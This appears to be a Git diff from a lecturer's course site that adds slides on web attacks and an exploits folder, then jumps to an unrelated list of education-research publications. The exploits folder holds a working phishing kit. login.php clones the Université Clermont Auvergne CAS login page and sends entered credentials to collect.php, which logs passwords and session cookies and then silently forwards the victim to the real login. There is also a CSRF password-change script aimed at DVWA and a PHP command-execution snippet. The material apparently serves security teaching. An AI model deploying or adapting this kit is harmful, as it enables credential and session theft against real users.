		{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
		{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
		condition: function() { return !!document.querySelector( '[data-markdown]' ); },
		callback: function() {
		Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
		var fragIndex = ele.innerHTML.indexOf("--")
		if (fragIndex != -1){
		ele.innerHTML = ele.innerHTML.replace("--", "");
		ele.className = 'fragment';
		}
		});
		}
		},
		{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
		{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
		]
		});
		</script>
		</body>
		</html>

content/slides/1337/drupalgeddon.html

0 → 100644

+70 −0

Original line number	Diff line number	Diff line
		<!doctype html>
		<html>
		<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

		<title>Drupalgeddon</title>

		<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
		<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">

		<!-- Theme used for syntax highlighting of code -->
		<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
		<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
		<link rel="stylesheet" href="../main.css">

		<!-- Printing and PDF exports -->
		<script>
		var link = document.createElement( 'link' );
		link.rel = 'stylesheet';
		link.type = 'text/css';
		link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
		document.getElementsByTagName( 'head' )[0].appendChild( link );
		</script>
		</head>
		<body>
		<div class="reveal">
		<div class="slides">
		<section data-markdown="md/drupalgeddon.md"
		data-separator="^\n\n\n"
		data-separator-vertical="^\n\n"
		data-separator-notes="^Note:"
		data-charset="utf-8">
		</section>
		</div>
		</div>

		<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
		<script src="../../node_modules/reveal.js/js/reveal.js"></script>

		<script>
		// More info about config & dependencies:
		// - https://github.com/hakimel/reveal.js#configuration
		// - https://github.com/hakimel/reveal.js#dependencies
		Reveal.initialize({
		controls: true,
		progress: true,
		history: true,
		center: false,
		dependencies: [
		{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
		{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
		condition: function() { return !!document.querySelector( '[data-markdown]' ); },
		callback: function() {
		Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
		var fragIndex = ele.innerHTML.indexOf("--")
		if (fragIndex != -1){
		ele.innerHTML = ele.innerHTML.replace("--", "");
		ele.className = 'fragment';
		}
		});
		}
		},
		{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
		{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
		]
		});
		</script>
		</body>
		</html>

content/slides/1337/exploits.zip

0 → 100644

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content/slides/1337/exploits/_server.php

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+1 −0

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		<pre><?php system('hostname'); ?></pre>
		No newline at end of file

content/slides/1337/exploits/collect.php

0 → 100644

+70 −0

Original line number	Diff line number	Diff line
		<?php


		if (
		array_key_exists('username', $_GET)
		&& array_key_exists('password', $_GET)
		) {

		// log credentials
		$f = fopen("./credentials.txt", "a");
		fwrite($f, $_GET['username'].":".$_GET['password']."\n");
		fclose($f);

		// get CSRF https://ent.uca.fr/cas/login
		$url = "https://ent.uca.fr/cas/login";
		$curl = curl_init($url);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
		$output = curl_exec($curl);
		curl_close($curl);
		preg_match(
		'/name="execution" value="(.+)"/U',
		$output,
		$matches
		);
		$token = $matches[1];

		?>

		<script>
		window.onload = function(event) {
		var frm = document.getElementById("fm1");
		frm.submit();
		};
		</script>

		<styles>
		#fm1 {
		display: none;
		}
		</styles>

		<form method="post" id="fm1" action="https://ent.uca.fr/cas/login">
		<input type="text" name="username" value="<?php echo $_GET['username'];?>">
		<input type="password" name="password" value="<?php echo $_GET['password'];?>">
		<input type="hidden" name="execution" value="<?php echo $token;?>">
		<input type="hidden" name="_eventId" value="submit" class="">
		<input type="hidden" name="geolocation"></section>
		<button name="submitBtn" type="submit" value="Se connecter">
		<span class="">Se connecter</span>
		</button>
		</form>

		<?php
		}


		if (array_key_exists('cookie', $_COOKIE))
		{
		// log credentials
		$f = fopen("./sessions.txt", "a");
		fwrite($f, $_COOKIE['cookie']."\n");
		fclose($f);
		}


		if (array_key_exists('rm', $_GET))
		{
		unlink("./credentials.txt");
		}

content/slides/1337/exploits/getToken.js

0 → 100644

+13 −0

Original line number	Diff line number	Diff line
		function getToken() {
		var token='&user_token='
		+ document
		.getElementById("get_token")
		.contentDocument
		.getElementsByName("user_token")[0]
		.value;
		var link = "http://dv.wa/"
		+ "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
		+ token;
		alert(link);
		document.getElementById("play_CSRF").src=link;
		}
		No newline at end of file

content/slides/1337/exploits/index.php

0 → 100644

+1 −0

Original line number	Diff line number	Diff line
		<h1>J'héberge des contenus douteux ...</h1>
		No newline at end of file

content/slides/1337/exploits/login.php

0 → 100644

+188 −0

Original line number	Diff line number	Diff line
		<!DOCTYPE html>
		<!-- saved from url=(0075)https://ent.uca.fr/cas/login?service=https%3A%2F%2Fent.uca.fr%2Fcore%2Fhome -->
		<html class="">

		<head class="">
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
		<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
		<title class="">CAS - Central Authentication Service Connexion</title>
		<meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
		<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
		<link rel="stylesheet"
		href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css"
		integrity="sha512-NhSC1YmyruXifcj/KFRWoC561YpHpc5Jtzgvbuzx5VozKpWvQ+4nXhPdFgmx8xqexRcpAglTj9sIBWINXa8x5w=="
		crossorigin="anonymous"
		referrerpolicy="no-referrer" />
		<link rel="stylesheet"
		href="https://unpkg.com/material-components-web@latest/dist/material-components-web.min.css" >
		<link rel="stylesheet"
		href="https://cdnjs.cloudflare.com/ajax/libs/MaterialDesign-Webfont/7.2.96/css/materialdesignicons.min.css" integrity="sha512-LX0YV/MWBEn2dwXCYgQHrpa9HJkwB+S+bnBpifSOTO1No27TqNMKYoAn6ff2FBh03THAzAiiCwQ+aPX+/Qt/Ow=="
		crossorigin="anonymous"
		referrerpolicy="no-referrer" />
		<link rel="stylesheet" type="text/css" href="./login/cas.css?20230224" class="">
		<link rel="shortcut icon" href="./login/favicon.ico" class="">
		</head>

		<body class="flex-column-center" id="dummybodyid" cz-shortcut-listen="true">

		<img src="./login/logo.png" class="logo">

		<!-- script type="text/javascript" src="./login/jquery.min.js"
		class=""></script -->
		<!-- script type="text/javascript" src="./login/jquery.dataTables.min.js"
		class=""></script -->

		<!-- script type="text/javascript" src="./login/es5-shim.min.js"
		class=""></script -->
		<!-- script type="text/javascript" src="./login/css-vars-ponyfill.min.js"
		class=""></script -->
		<!-- script type="text/javascript"
		src="./login/material-components-web.min.js" class=""></script -->
		<!-- script type="text/javascript" src="./login/cas.js"
		class=""></script>
		<script class="">
		if (typeof resourceLoadedSuccessfully === "function") {
		resourceLoadedSuccessfully();
		}
		$(() => {
		typeof cssVars === "function" && cssVars({ onlyLegacy: true });
		})
		var trackGeoLocation = false;
		</script -->

		<div class="card">
		<main role="main" id="main-content" class="">
		<div id="content" class="">
		<div class="">
		<section id="loginForm" class="">
		<div class="flex-column-center">

		<div class="flex-column-center">

		</div>

		<div class="flex-column-center">

		<form method="get" id="fm1" action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php" class="">
		<div id="login-form-controls" class="flex-column-center">
		<h3 class="">
		<i class=""></i>
		<span class="">Service d'authentification</span>
		</h3>

		<section class="margin-space" id="usernameSection">
		<label for="username" class="">

		<input class="" id="username" size="25" type="text" accesskey="i"
		autocapitalize="none" spellcheck="false" autocomplete="username"
		required="" name="username" value=""
		placeholder="Identifiant"></label>



		<!-- script type="text/javascript" class="">
		/<![CDATA[/
		var username = "";
		var disabled = false;

		if (username != null && username !== '') {
		$('#username').val(username);
		if (disabled) {
		$('#usernameSection').hide();
		}
		}
		/]]>/
		</script -->
		</section>
		<section class="margin-space" id="passwordSection">
		<div class="">
		<div class="">
		<label for="password" class="">

		<input class="" type="password" id="password" size="25"
		required="" accesskey="m" autocomplete="off" name="password"
		value="" placeholder="Mot de passe">
		</label>


		</div>
		</div>
		</section>

		<section class="margin-space hide">
		</section>


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		</button>

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		<span class="">
		<div id="pmlinks" class="">
		<div class="">
		<br class=""><span class=""></span>
		<span class="flex-column-center"><a
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		connexion ?</a><a
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		</div>
		</div>
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		var j = "Se connecter"
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		<span class="">
		<div id="sidebar" class="">
		<div class="">
		<p class="">Pour des raisons de sécurité, veuillez vous <a
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		</div>
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		</div>
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		<span class="">
		</span>
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		.mdc-input-group .mdc-input-group-field.mdc-input-group-field-prepend .mdc-text-field>.mdc-text-field__input {
		border-top-left-radius: 0;
		border-bottom-left-radius: 0;
		}

		.mdc-input-group .mdc-input-group-field.mdc-input-group-field-append .mdc-text-field>.mdc-text-field__input {
		border-top-right-radius: 0;
		border-bottom-right-radius: 0;
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		.text-danger, .mdc-text-field:not(.mdc-text-field--disabled) .mdc-text-field__icon.text-danger, .mdc-text-field:not(.mdc-text-field--disabled)+.mdc-text-field-helper-line .mdc-text-field-helper-text.text-danger {
		color: #b00020;
		color: var(--cas-theme-danger);
		}

		.mdc-text-field--focused:not(.mdc-text-field--disabled) .mdc-floating-label {
		color: #153e50;
		color: var(--cas-theme-primary, #153e50);
		}

		.mdc-button--outline:not(:disabled) {
		background-color: #428bca;
		border-radius: 12px 4px;
		}

		.mdc-button--raised:not(:disabled) {
		margin-right: 4px;
		border-radius: 12px 4px;
		background-color: var(--cas-theme-primary, #153E50);
		}

		.list-unstyled {
		padding-left: 0;
		list-style: none;
		}

		.text-center {
		text-align: center;
		}

		.pad-0 {
		padding-right: 0;
		padding-left: 0;
		}

		.w-66 {
		width: 66%;
		}

		.w-33 {
		width: 33%;
		}

		.w-25 {
		width: 25%;
		}

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		width: 50%;
		}

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		width: 75%;
		}

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		width: 100%;
		}

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		width: auto;
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		height: 25%;
		}

		.h-50 {
		height: 50%;
		}

		.h-75 {
		height: 75%;
		}

		.h-100 {
		height: 100%;
		}

		.h-auto {
		height: auto;
		}

		.mw-100 {
		max-width: 100% !important;
		}

		.mh-100 {
		max-height: 100%;
		}

		.min-vw-100 {
		min-width: 100vw;
		}

		.min-vh-100 {
		min-height: 100vh;
		}

		.vw-100 {
		width: 100vw;
		}

		.vh-100 {
		height: 100vh;
		}

		.mw-50 {
		max-width: 50%;
		}

		.border-rounded {
		border-color: #153e50;
		border: 1px solid var(--cas-theme-primary, #153e50);
		border-radius: 4px;
		}

		.border-bottom {
		border-color: #153e50;
		border-bottom: 1px solid var(--cas-theme-primary, #153e50);
		}

		@media all and (min-width: 768px) {
		.w-md-50 {
		width: 50%;
		}
		.w-md-66 {
		width: 66%;
		}
		}

		@media all and (min-width: 992px) {
		.w-lg-50 {
		width: 50%;
		}
		.w-lg-66 {
		width: 66%;
		}
		}

		@media all and (max-width: 767.99px) {
		.w-md-50 {
		width: 100%;
		}
		.w-md-66 {
		width: 100%;
		}
		}

		@media all and (max-width: 991.99px) {
		.w-lg-50 {
		width: 100%;
		}
		.w-lg-66 {
		width: 100%;
		}
		}

		.visually-hidden {
		position: absolute;
		width: 1px;
		height: 1px;
		padding: 0;
		overflow: hidden;
		clip: rect(0, 0, 0, 0);
		white-space: nowrap;
		border: 0;
		}

		*, ::after, ::before {
		box-sizing: border-box;
		}

		.text-justify {
		text-align: justify;
		}

		#duo_iframe {
		width: 100%;
		min-width: 304px;
		height: 330px;
		border: none;
		padding: 0;
		margin: 0;
		}

		.dataTables_wrapper {
		margin-left: 5px;
		margin-top: 5px;
		margin-right: 5px;
		}

		#serviceui {
		background-color: #17a3b844;
		border-radius: 4px;
		}

		#heroimg {
		display: block;
		margin-left: auto;
		margin-right: auto;
		}

		/* IE flex fix */

		#main-content {
		margin-right: 10px;
		margin-left: 10px;
		}

		/* oddly, the auto right and left margins caused the login form to not be centered in IE */

		@media all and (min-width: 768px) {
		.login-section {
		flex: 1 1 500px;
		/* according to flexbugs, flex-basis should be explicitly set for IE */
		/* https://github.com/philipwalton/flexbugs#flexbug-4 */
		}
		}

		/* flex-basis: auto works in IE with the column view,
		but a specific value needs to be set for row view
		*/

		/* fix for not showing password reveal icon on MSEdge and MSIE */
		.pwd::-ms-reveal,
		.pwd::-ms-clear {
		display: none;
		}

		@media (min-width: 1400px) {
		.container-xxl {
		max-width: 90%;
		}
		}
		No newline at end of file

content/slides/1337/exploits/login/bootstrap-grid.min.css

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+7 −0

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content/slides/1337/exploits/login/cas.css

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+148 −0

Original line number	Diff line number	Diff line
		@import "_cas.css";

		:root {
		--cas-theme-primary: #018786;
		}

		@font-face {
		font-family: 'Barlow Regular';
		font-style: normal;
		font-weight: 400;
		src: url('./Barlow-Regular.woff2') format('woff2');
		}
		/* @font-face {
		font-family: 'Barlow Light';
		font-style: normal;
		font-weight: 400;
		src: url('../fonts/Barlow-Light.woff2') format('woff2');
		} */

		body {
		height: auto;
		background: #006D82;
		/* letter-spacing: 0.05rem; */
		}

		body, p, span, div, a, h1, h2, h3, h4, h5, h6 {
		font-family: 'Barlow Regular' !important;
		}
		a {
		text-decoration: none;
		}
		h2 {
		color: #6D6D6C;
		}
		h3 {
		font-size: 24px;
		line-height: 150%;

		color: #6D6D6C;
		text-align: center;
		margin: 0 0 24px;
		}
		.card {
		width: 450px;
		margin: 0 auto;
		background: white;
		border-radius: 24px;
		padding: 24px;
		}

		button {
		padding: 12px 32px;
		background: #006D82 !important;
		border-radius: 12px;
		height: 48px;
		border: none;
		color: white;
		font-weight: 700;
		}
		button:hover {
		cursor: pointer;
		}

		.button-red {
		background-color: #ef5350 !important;
		border-color: #fcdddc;
		color: #fcdddc;
		}

		.button-uca-beige {
		color: #fff;
		background-color: #d7b797 !important;
		}

		input {
		max-width: 350px;
		padding: 12px 16px;
		height: 48px;
		background: #FFFFFF;
		border: 1px solid #CACAC9;
		border-radius: 12px;
		color: #4A4A49;
		}
		input:focus {
		border: 1px solid #00AFA3 !important;
		}

		img.logo {
		width: auto;
		height: 100px;
		padding: 24px 0;
		}

		.flex-column-center{
		display: flex;
		flex-direction: column;
		align-items: center;
		}
		.margin-space {
		margin: 12px;
		}
		.hide {
		display:none;
		}

		#content {
		box-shadow: none !important;
		}
		#sidebar {
		text-align: justify;
		}
		#loginErrorsPanel {
		color: #D60150;
		font-weight: bold;
		}
		#loginErrorsPanel > p {
		margin: 0;
		}

		#pmlinks a {
		margin: 10px 0;
		}

		#links {
		display: flex;
		justify-content: center;
		margin-top: 20px;
		}
		#links > a {
		margin: 0 5px;
		font-size: 0.9rem;
		}

		@media screen and (max-width: 450px) {
		.card {
		width: 100%;
		border-radius: 0;
		padding: 24px 12px;
		}
		#main-content {
		margin: 0;
		}
		img.logo {
		width: 100%;
		height: auto;
		padding: 16px;
		}
		}

content/slides/1337/exploits/login/cas.js

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+62 −0

Original line number	Diff line number	Diff line
		function resourceLoadedSuccessfully() {
		$(document).ready(() => {

		// Remove header, footer and others
		$('body > div:lt(2)').remove();
		$('footer').remove();
		$('hr').remove();

		// Add logo
		const logo = document.createElement('img');
		logo.src = '/cas/themes/uca/images/logo.png';
		$('body').prepend(logo);

		// Remove info service
		$('#serviceui').remove();

		// Remove many span and useless helpers in the input section
		// and set the placeholder
		$('#username').attr('placeholder', $('#usernameSection label > span > span > span').text());
		$('#username').focus();
		$('#password').attr('placeholder', $('#passwordSection label > span > span > span').text());
		$('label > span').remove();
		$('section .mdc-text-field-helper-line').remove();
		// Remove the reveal password button
		$('.reveal-password').remove();

		// Remove all class to simplify the render
		if (!$('#codeRequest').length)
		$('*').removeClass();
		$('body').addClass('flex-column-center');
		$('body > img').addClass('logo');
		$('body > div').addClass('card');

		$('#loginForm > div').addClass('flex-column-center');
		$('#loginForm > div > div').addClass('flex-column-center');
		$('#login-form-controls').addClass('flex-column-center');
		$('#login-form-controls > *:not(h3)').addClass('margin-space');
		$('#login-form-controls > section').slice(-2).addClass('hide');

		$('#pmlinks > div > span:nth-of-type(2)').addClass('flex-column-center');

		// Page trusted device
		$('#deviceName').val('UserAgent '+navigator.userAgent).hide();
		$('#timeUnit').addClass('custom-select').addClass('mb-4').val('DAYS').hide();
		$('#expiration').val(7);
		// $('#expirationField').addClass('mb-3').show();
		$("#registerform div:nth-child(4) button:nth-child(2)").addClass("button-uca-beige");

		// Add locale links
		const links = document.createElement('div');
		links.id = 'links';
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		linkFR.href = '?locale=fr';
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		links.append(linkFR);
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		linkEN.href = '?locale=en';
		linkEN.innerHTML = 'English';
		links.append(linkEN);
		$('#main-content').append(links);
		});
		}

content/slides/1337/exploits/login/css-vars-ponyfill.min.js

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+9 −0

File added.

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content/slides/1337/exploits/login/es5-shim.min.js

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File added.

Preview size limit exceeded, changes collapsed.

content/slides/1337/exploits/login/favicon.ico

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+2.79 KiB

2.79 KiB | W: 32 | H: 32

content/slides/1337/exploits/login/jquery.dataTables.min.css

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+1 −0

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thead>tr>th.sorting:before,table.dataTable thead>tr>th.sorting:after,table.dataTable thead>tr>th.sorting_asc:before,table.dataTable thead>tr>th.sorting_asc:after,table.dataTable thead>tr>th.sorting_desc:before,table.dataTable thead>tr>th.sorting_desc:after,table.dataTable thead>tr>th.sorting_asc_disabled:before,table.dataTable thead>tr>th.sorting_asc_disabled:after,table.dataTable thead>tr>th.sorting_desc_disabled:before,table.dataTable thead>tr>th.sorting_desc_disabled:after,table.dataTable thead>tr>td.sorting:before,table.dataTable thead>tr>td.sorting:after,table.dataTable thead>tr>td.sorting_asc:before,table.dataTable thead>tr>td.sorting_asc:after,table.dataTable thead>tr>td.sorting_desc:before,table.dataTable thead>tr>td.sorting_desc:after,table.dataTable thead>tr>td.sorting_asc_disabled:before,table.dataTable thead>tr>td.sorting_asc_disabled:after,table.dataTable thead>tr>td.sorting_desc_disabled:before,table.dataTable thead>tr>td.sorting_desc_disabled:after{position:absolute;display:block;opacity:.125;right:10px;line-height:9px;font-size:.9em}table.dataTable thead>tr>th.sorting:before,table.dataTable thead>tr>th.sorting_asc:before,table.dataTable thead>tr>th.sorting_desc:before,table.dataTable thead>tr>th.sorting_asc_disabled:before,table.dataTable thead>tr>th.sorting_desc_disabled:before,table.dataTable thead>tr>td.sorting:before,table.dataTable thead>tr>td.sorting_asc:before,table.dataTable thead>tr>td.sorting_desc:before,table.dataTable thead>tr>td.sorting_asc_disabled:before,table.dataTable thead>tr>td.sorting_desc_disabled:before{bottom:50%;content:"▴"}table.dataTable thead>tr>th.sorting:after,table.dataTable thead>tr>th.sorting_asc:after,table.dataTable thead>tr>th.sorting_desc:after,table.dataTable thead>tr>th.sorting_asc_disabled:after,table.dataTable thead>tr>th.sorting_desc_disabled:after,table.dataTable thead>tr>td.sorting:after,table.dataTable thead>tr>td.sorting_asc:after,table.dataTable thead>tr>td.sorting_desc:after,table.dataTable thead>tr>td.sorting_asc_disabled:after,table.dataTable thead>tr>td.sorting_desc_disabled:after{top:50%;content:"▾"}table.dataTable thead>tr>th.sorting_asc:before,table.dataTable thead>tr>th.sorting_desc:after,table.dataTable thead>tr>td.sorting_asc:before,table.dataTable thead>tr>td.sorting_desc:after{opacity:.6}table.dataTable thead>tr>th.sorting_desc_disabled:after,table.dataTable thead>tr>th.sorting_asc_disabled:before,table.dataTable thead>tr>td.sorting_desc_disabled:after,table.dataTable thead>tr>td.sorting_asc_disabled:before{display:none}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}div.dataTables_scrollBody table.dataTable thead>tr>th:before,div.dataTables_scrollBody table.dataTable thead>tr>th:after,div.dataTables_scrollBody table.dataTable thead>tr>td:before,div.dataTables_scrollBody table.dataTable thead>tr>td:after{display:none}div.dataTables_processing{position:absolute;top:50%;left:50%;width:200px;margin-left:-100px;margin-top:-26px;text-align:center;padding:2px}div.dataTables_processing>div:last-child{position:relative;width:80px;height:15px;margin:1em auto}div.dataTables_processing>div:last-child>div{position:absolute;top:0;width:13px;height:13px;border-radius:50%;background:rgba(13, 110, 253, 0.9);animation-timing-function:cubic-bezier(0, 1, 1, 0)}div.dataTables_processing>div:last-child>div:nth-child(1){left:8px;animation:datatables-loader-1 .6s infinite}div.dataTables_processing>div:last-child>div:nth-child(2){left:8px;animation:datatables-loader-2 .6s infinite}div.dataTables_processing>div:last-child>div:nth-child(3){left:32px;animation:datatables-loader-2 .6s infinite}div.dataTables_processing>div:last-child>div:nth-child(4){left:56px;animation:datatables-loader-3 .6s infinite}@keyframes datatables-loader-1{0%{transform:scale(0)}100%{transform:scale(1)}}@keyframes datatables-loader-3{0%{transform:scale(1)}100%{transform:scale(0)}}@keyframes datatables-loader-2{0%{transform:translate(0, 0)}100%{transform:translate(24px, 0)}}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}table.dataTable th.dt-left,table.dataTable td.dt-left{text-align:left}table.dataTable th.dt-center,table.dataTable td.dt-center,table.dataTable td.dataTables_empty{text-align:center}table.dataTable th.dt-right,table.dataTable td.dt-right{text-align:right}table.dataTable th.dt-justify,table.dataTable td.dt-justify{text-align:justify}table.dataTable th.dt-nowrap,table.dataTable td.dt-nowrap{white-space:nowrap}table.dataTable thead th,table.dataTable thead td,table.dataTable tfoot th,table.dataTable tfoot td{text-align:left}table.dataTable thead th.dt-head-left,table.dataTable thead td.dt-head-left,table.dataTable tfoot th.dt-head-left,table.dataTable tfoot td.dt-head-left{text-align:left}table.dataTable thead th.dt-head-center,table.dataTable thead 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0.15)}table.dataTable.row-border tbody tr:first-child th,table.dataTable.row-border tbody tr:first-child td,table.dataTable.display tbody tr:first-child th,table.dataTable.display tbody tr:first-child td{border-top:none}table.dataTable.cell-border tbody th,table.dataTable.cell-border tbody td{border-top:1px solid rgba(0, 0, 0, 0.15);border-right:1px solid rgba(0, 0, 0, 0.15)}table.dataTable.cell-border tbody tr th:first-child,table.dataTable.cell-border tbody tr td:first-child{border-left:1px solid rgba(0, 0, 0, 0.15)}table.dataTable.cell-border tbody tr:first-child th,table.dataTable.cell-border tbody tr:first-child td{border-top:none}table.dataTable.stripe>tbody>tr.odd>*,table.dataTable.display>tbody>tr.odd>*{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.023)}table.dataTable.stripe>tbody>tr.odd.selected>*,table.dataTable.display>tbody>tr.odd.selected>*{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 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		Title: <i class='fa fa-flask' aria-hidden='true'></i> Recherche
		Date: 2021-03-09 10:27
		Category: <i class='fa fa-flask' aria-hidden='true'></i> Recherche
		Number: 1


		Je fais partie du <a href="https://hal.science/search/index/q/*/authFullName_s/Profan+Consortium">ProFAN Consortium</a>

		## 2024

		* Rudmann O., Batruch A., Paolo Visintin E., Sommet N., Bressoux P., Darnon C., Bouet M., Bressan M., Brown G., Cepeda C., Cherbonnier A., Demolliens M., De Place A.-L., Desrichard O., Ducros T., Goron L., Hemon B., Huguet P., Jamet E., Martinez R., Mazenod V., Mella N., Michinov E., Michinov N., Ofosu N., Pansu P., Peter L., Petitcollot B., Poletti C., Régner I., Riant M., Robert A., Sanrey C., Stanczak A., Toumani F., Vilmin S., Vives E., Butera F.. Cooperative learning reduces the gender gap in perceived social competences. A large-scale nationwide longitudinal experiment. Journal of Educational Psychology. <span class="label label-info">en cours d'édition</span> <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

		* Mathilde Riant, Anne-Laure de Place, Pascal Bressoux, Anatolia Batruch, Marinette Bouet, Marco Bressan, Genavee Brown, Fabrizio Butera, Carlos Cepeda, Anthony Cherbonnier, Céline Darnon, Marie Demolliens, Olivier Desrichard, Théo Ducros, Luc Goron, Brivael Hémon, Pascal Huguet, Eric Jamet, Ruben Martinez, Vincent Mazenod, Nathalie Mella, Estelle Michinov, Nicolas Michinov, Nana Ofosu, Laurine Peter, Benoît Petitcollot, Céline Poletti, Isabelle Régner, Anaïs Robert, Ocyna Rudmann, Camille Sanrey, Arnaud Stanczak, Farouk Toumani, Simon Vilmin, Emilio Paolo Visintin, Eva Vives, Pascal Pansu. Does the Jigsaw method improve motivation and self-regulation in vocational high schools?.
		Contemporary Educational Psychology, Volume 77, 102278, ISSN 0361-476X. [https://doi.org/10.1016/j.cedpsych.2024.102278](https://doi.org/10.1016/j.cedpsych.2024.102278) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

		* Vives E., Poletti C., Butera F., Huguet P., ProFAN Consortium, Régner I.. Learning with Jigsaw : A systematic Review gathering all the pieces of the Puzzle more than 40 years later. Review of Educational Research ([https://doi.org/10.3102/00346543241230064](https://doi.org/10.3102/00346543241230064)) ([hal-04500096](https://hal.science/hal-04500096)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


		## 2023

		* Johann Chevalère, Loreleï Cazenave, Robin Wollast, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne , Norbert Maïonchi-Pino, Pascal Huguet. The influence of socioeconomic status, working memory and academic self-concept on academic achievement. European Journal of Psychology of Education, 2023, 38, pp.287-309. ([10.1007/s10212-022-00599-9](https://dx.doi.org/10.1007/s10212-022-00599-9)). ([hal-03707470](https://hal.science/hal-03707470)) <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>

		## 2022

		* Johann Chevalère, Loreleï Cazenave, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne, Norbert Maïonchi-Pino, Pascal Huguet. Compensating the socioeconomic achievement gap with computer‐assisted instruction. Journal of Computer Assisted Learning, 2022, 38 (2), pp.366-378. ⟨[10.1111/jcal.12616](https://dx.doi.org/10.1111/jcal.12616)⟩. ⟨[hal-03428446v2](https://hal.science/hal-03428446v2)⟩ <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>


		* Jm Monteil, A Séré, M Demolliens, P Huguet, A Batruch, M Bouet, M Bressan, P Bressoux, G Brown, F Butera, C Cepeda, A Cherbonnier, C Darnon, Al de Place, O Desrichard, T Ducros, L Goron, B Hemon, E Jamet, R Martinez, V Mazenod, N Mella , E Michinov, N Michinov, N Ofosu, P Pansu, L Peter, B Petitcollot, C Poletti, I Régner, M Riant, A Robert, O Rudmann, C Sanrey, A Stanczak, F Toumani, S Vilmin, E Visintin, E. Vives. Rapport ProFAN Partager l’expertise. L’interdépendance positive, un levier pour de nouvelles compétences ? remis en Juin 2022 au Ministère de l’éducation, de la jeunesse et des sports et au Ministère de l’enseignement supérieur, de la recherche et de l’innovation. ([hal-04021297](https://hal.science/hal-04021297)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

		## 2021

		* Yannick Miras , Jerry Lonlac, Beauger Aude, Benjamin Legrand , Delphine Latour , Karen K. Serieyssol , Marlène Lavrieux , Paul M Ledger, Vincent Mazenod , Jean-Luc Peiry, Engelbert Mephu Nguifo. Tracking plant, fungal and algal diversity through a data mining approach: towards an improved analysis of holocene lake Aydat (Puyde-Dôme, France) dynamics and ecological legacies. Revue des Sciences Naturelles d'Auvergne, 2021. ([hal-03547371](https://hal.science/hal-03547371)) <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>

		* Johann Chevalère, Loreleï Cazenave, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne, Norbert Maïonchi-Pino, Pascal Huguet. Computer-assisted instruction versus inquiry-based learning: The importance of working memory capacity. PLoS ONE 16(11): e0259664. [https://doi.org/10.1371/journal.pone.0259664](https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0259664) <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>

		* Laurine Peter, Nicolas Michinov, Maud Besançon, Estelle Michinov, Jacques Juhel, Genavee Brown, Eric Jamet, Anthony Cherbonnier, Profan Consortium. Revisiting the Effects of Gender Diversity in Small Groups on Divergent Thinking: A Large-Scale Study Using Synchronous Electronic Brainstorming. Frontiers in Psychology, 2021, pp.12:723235. ⟨[10.3389/fpsyg.2021.723235](https://dx.doi.org/10.3389/fpsyg.2021.723235)⟩. ⟨[hal-03401056](https://hal.science/hal-03401056)⟩ <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


		* Arnaud Stanczak, Céline Darnon, Anaïs Robert, Marie Demolliens, Camille Sanrey, Pascal Bressoux, Pascal Huguet, Céline Buchs, Fabrizio Butera & <strike>consortium ProFAN</strike>. Journal of Educational Psychology, 114(6), 1461–1476. ([https://doi.org/10.1037/edu0000730](https://doi.org/10.1037/edu0000730)). -([hal-03441734](https://hal.science/hal-03441734)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>



